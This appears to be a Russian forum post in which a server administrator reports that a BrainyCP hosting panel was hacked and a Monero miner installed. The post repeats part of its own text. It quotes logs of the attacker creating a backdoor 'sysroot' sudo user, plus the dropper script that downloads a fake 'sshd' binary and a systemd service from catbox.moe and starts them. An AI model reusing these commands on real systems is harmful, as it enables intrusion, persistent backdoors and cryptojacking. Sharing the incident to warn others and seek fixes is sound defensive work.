Взломали панель и повесили майнер
Добавлено: Сб авг 15, 2020 6:11 pm
Привет комрады!
Надеюсь обратить внимание разрабов на возможную проблему.
Сегодня смотрю пригружен проц, посмотрел процессы, смотрю видит sshd какой-то левый и коннектится на пул майнинга монеро.
В общем взломано, создан юзер sysroot, туда залит майнер и какой-то сервис, следов правда не смог найти
Создали юзера судя по всему через API панели
был залит залит скрипт.
Ну и в общем кто-то майнит на адрес монеро (на данный момент 65 килохешей) 49ZNRzJYncy5KaabHuMXqHcfRCg8WR7xULjf5YJyXtoYcSM4j6EYhQR8rne8Ee4Fk3XDNi61wEDmMXtfMKKLdKXZ5JUVhkj
Непонятно что теперь делать, ведь как по классике жанра бэкап был сделан давно
Ну и нужно срочно закрыть дыр в панели!
Очень теперь напрягает мысль о том, что так легко можно ломать панель и делать все что угодно там.
P.S. Сейчас зашел на другой сервер, где тоже панель стоит, та же картина, юзер sysroot и запущенный майнер. Видимо кто-то знает панель изнутри и легко работает с ней. Хорошо что другой сервер для тестов и есть снапшот, откачусь, но что делать то, как защитить себя?
Надеюсь обратить внимание разрабов на возможную проблему.
Сегодня смотрю пригружен проц, посмотрел процессы, смотрю видит sshd какой-то левый и коннектится на пул майнинга монеро.
В общем взломано, создан юзер sysroot, туда залит майнер и какой-то сервис, следов правда не смог найти
Создали юзера судя по всему через API панели
Код: Выделить всё
Jul 25 17:09:23 zuli sudo: root : TTY=unknown ; PWD=/etc/brainy/api ; USER=root ; COMMAND=/bin/bash -c userdel -f sysroot
Jul 25 17:09:23 zuli sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Jul 25 17:09:23 zuli userdel[10574]: delete user 'sysroot'
Jul 25 17:09:23 zuli userdel[10574]: removed group 'sysroot' owned by 'sysroot'
Jul 25 17:09:23 zuli userdel[10574]: removed shadow group 'sysroot' owned by 'sysroot'
Jul 25 17:09:23 zuli sudo: pam_unix(sudo:session): session closed for user root
Jul 25 17:09:23 zuli sudo: root : TTY=unknown ; PWD=/etc/brainy/api ; USER=root ; COMMAND=/sbin/useradd -p sa3tHJ3/KuYvI sysroot
Jul 25 17:09:23 zuli sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Jul 25 17:09:23 zuli useradd[10584]: new group: name=sysroot, GID=1010
Jul 25 17:09:23 zuli useradd[10584]: new user: name=sysroot, UID=1009, GID=1010, home=/home/sysroot, shell=/bin/bash
Jul 25 17:09:23 zuli sudo: pam_unix(sudo:session): session closed for user root
Jul 25 17:09:23 zuli sudo: root : TTY=unknown ; PWD=/etc/brainy/api ; USER=root ; COMMAND=/bin/sh -c echo "sysroot:password" | chpasswd
Jul 25 17:09:23 zuli sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Jul 25 17:09:23 zuli sudo: pam_unix(sudo:session): session closed for user root
Jul 25 17:09:23 zuli sudo: root : TTY=unknown ; PWD=/etc/brainy/api ; USER=root ; COMMAND=/bin/sh -c echo "sysroot ALL=(ALL) ALL" >> /etc/sudoers
Код: Выделить всё
if [ -f /etc/lsb-release ]; then
#ubuntu
sudo wget -O /home/sysroot/sshd https://files.catbox.moe/eg4s5s
chmod +x /home/sysroot/sshd
sudo wget -O /lib/systemd/system/sshd_extra.service https://files.catbox.moe/b1t7cv.service
sudo systemctl daemon-reload
sudo systemctl enable sshd_extra.service
sudo systemctl start sshd_extra.service
fi
if [ -f /etc/redhat-release ]; then
sudo wget -O /home/sysroot/sshd https://files.catbox.moe/eg4s5s
chmod +x /home/sysroot/sshd
sudo wget -O /etc/systemd/system/multi-user.target.wants/sshd_extra.service https://files.catbox.moe/b1t7cv.service
sudo systemctl daemon-reload
sudo systemctl enable sshd_extra.service
sudo systemctl start sshd_extra.service
fi
Непонятно что теперь делать, ведь как по классике жанра бэкап был сделан давно
Ну и нужно срочно закрыть дыр в панели!Очень теперь напрягает мысль о том, что так легко можно ломать панель и делать все что угодно там.
P.S. Сейчас зашел на другой сервер, где тоже панель стоит, та же картина, юзер sysroot и запущенный майнер. Видимо кто-то знает панель изнутри и легко работает с ней. Хорошо что другой сервер для тестов и есть снапшот, откачусь, но что делать то, как защитить себя?